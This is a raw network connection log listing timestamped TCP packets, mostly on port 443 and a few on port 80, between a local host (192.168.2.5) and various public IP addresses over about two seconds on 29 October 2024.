Oct 29, 2024 20:35:16.785687923 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.802042961 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.802073002 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:16.802133083 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.802408934 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:16.802423954 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.276115894 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.276204109 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.276274920 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.276546955 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.276602030 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.276681900 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.276900053 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.276911974 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.277055025 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.277067900 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.288827896 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.347846985 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.347872019 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.348552942 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.348560095 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.378801107 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.379034996 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.379066944 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.379431009 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.379791975 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.379854918 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.389228106 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.393980980 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.394002914 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.394537926 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.394542933 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.399239063 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.402190924 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.402806044 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.402822971 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.403177977 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.403646946 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.403709888 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.403721094 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.404444933 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.404464960 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.405308008 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.405313969 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.410537958 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.411046028 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.411072016 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.411874056 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.411880970 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.444174051 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.444508076 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.444521904 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.444879055 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.444890976 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.445039988 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.445055962 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.445331097 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.445646048 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.447122097 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.447170973 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.447432041 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.447437048 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.456037045 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.456065893 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.456748962 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.456756115 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.475272894 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.475517035 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.475594997 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.476089001 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.476105928 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.476126909 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.476136923 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.496444941 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.496481895 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.496555090 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.500988960 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.501005888 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.521356106 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.521436930 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.521574974 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.521667004 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.521688938 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.521701097 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.521708012 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.531939030 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.532004118 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.532183886 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.542968035 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.543248892 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.543323040 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.563932896 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.563945055 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.563956022 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.563961029 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.574068069 CET	49874	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:17.574109077 CET	443	49874	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:17.574172020 CET	49874	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:17.574402094 CET	49874	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:17.574419022 CET	443	49874	4.150.155.223	192.168.2.5
Oct 29, 2024 20:35:17.574815989 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.574815989 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.574834108 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.574839115 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.582180977 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.582247972 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.584295034 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.591334105 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:17.592585087 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.601804018 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:17.601855040 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.611586094 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.611586094 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.611618042 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.611630917 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.626370907 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.626401901 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.626590967 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.632855892 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.632898092 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.632977962 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.633141041 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.633157969 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.634768963 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.634799957 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.634977102 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.635225058 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.635236979 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.635507107 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.635534048 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.635585070 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.636085987 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.636104107 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.636571884 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:17.636588097 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:17.693712950 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.693757057 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.693989992 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.693999052 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.698340893 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.698395967 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.698405027 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.706243038 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.706496000 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.706512928 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.716468096 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.716586113 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.716593981 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.724353075 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.724493980 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.724502087 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.732911110 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.732980013 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.732986927 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.810702085 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.810754061 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.810791969 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.810805082 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.810815096 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.814480066 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.814486980 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.814841032 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.814874887 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.818875074 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.819030046 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.819036007 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.828533888 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.828675032 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.828680038 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.837078094 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.837213993 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.837227106 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.842819929 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.842900038 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.845616102 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.845726967 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.845731974 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.853370905 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.853384972 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.853636026 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.854053974 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.854074001 CET	49869	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.854123116 CET	443	49869	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.855015039 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.855093002 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.855098963 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.863234043 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.863279104 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.863284111 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.872186899 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.872257948 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.872267008 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.882004023 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.882078886 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.882085085 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.882663012 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.883996010 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.884017944 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.884879112 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.884880066 CET	49870	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:17.884893894 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.884910107 CET	443	49870	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:17.889050007 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.889142990 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.889151096 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.889539003 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.890012026 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.890037060 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.890436888 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.890578032 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.890948057 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.891020060 CET	443	49871	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.891143084 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.891159058 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.891521931 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.891841888 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:17.891906023 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:17.897548914 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.897613049 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.897618055 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.904742002 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.904802084 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.904808998 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.927815914 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.927851915 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.927886009 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.927911997 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.927920103 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.927956104 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.928378105 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.928436041 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.928441048 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.936167955 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.936198950 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.936252117 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.936258078 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.936297894 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.940175056 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.945462942 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.945491076 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.945517063 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.945523024 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.945583105 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.950598001 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.955076933 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.955122948 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.955193996 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.955200911 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.955259085 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.960119009 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.964723110 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.964756012 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.964771032 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.964790106 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.964842081 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.971745968 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.974577904 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.974612951 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.974638939 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.974644899 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.974709988 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.979664087 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.984025955 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.984060049 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.984076977 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.984093904 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.984308004 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.988718033 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.993983984 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.994012117 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.994107962 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.994117022 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:17.994189978 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:17.998466015 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.003051043 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.003082037 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.003103018 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.003110886 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.003151894 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.007710934 CET	49871	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.008192062 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.012660980 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.012692928 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.012723923 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.012731075 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.012772083 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.017782927 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.022430897 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.022460938 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.022526979 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.022536039 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.022572994 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.027431011 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.032799006 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.032830954 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.032844067 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.032851934 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.032886982 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.036704063 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.041481018 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.041510105 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.041539907 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.041547060 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.041584969 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.045730114 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.050246954 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.050319910 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.050394058 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.050406933 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.050451040 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.054600000 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.058796883 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.058855057 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.058861017 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.071511984 CET	49884	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.071546078 CET	443	49884	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.071764946 CET	49885	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.071788073 CET	49884	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.071811914 CET	443	49885	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.071893930 CET	49885	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.073193073 CET	49885	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.073210955 CET	443	49885	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.073379993 CET	49884	443	192.168.2.5	23.198.7.25
Oct 29, 2024 20:35:18.073393106 CET	443	49884	23.198.7.25	192.168.2.5
Oct 29, 2024 20:35:18.078901052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:18.079020977 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:18.099333048 CET	443	49872	162.159.61.3	192.168.2.5
Oct 29, 2024 20:35:18.100950003 CET	49872	443	192.168.2.5	162.159.61.3
Oct 29, 2024 20:35:18.101453066 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.101463079 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.102473021 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.102521896 CET	443	49861	142.250.185.225	192.168.2.5
Oct 29, 2024 20:35:18.102581024 CET	49861	443	192.168.2.5	142.250.185.225
Oct 29, 2024 20:35:18.186705112 CET	49867	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:18.186769962 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:18.186830997 CET	49874	443	192.168.2.5	4.150.155.223
Oct 29, 2024 20:35:18.186850071 CET	443	49868	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:18.186880112 CET	443	49867	172.64.41.3	192.168.2.5
Oct 29, 2024 20:35:18.186965942 CET	49868	443	192.168.2.5	172.64.41.3
Oct 29, 2024 20:35:18.186975002 CET	49867	443	192.168.2.5	172.64.41.3
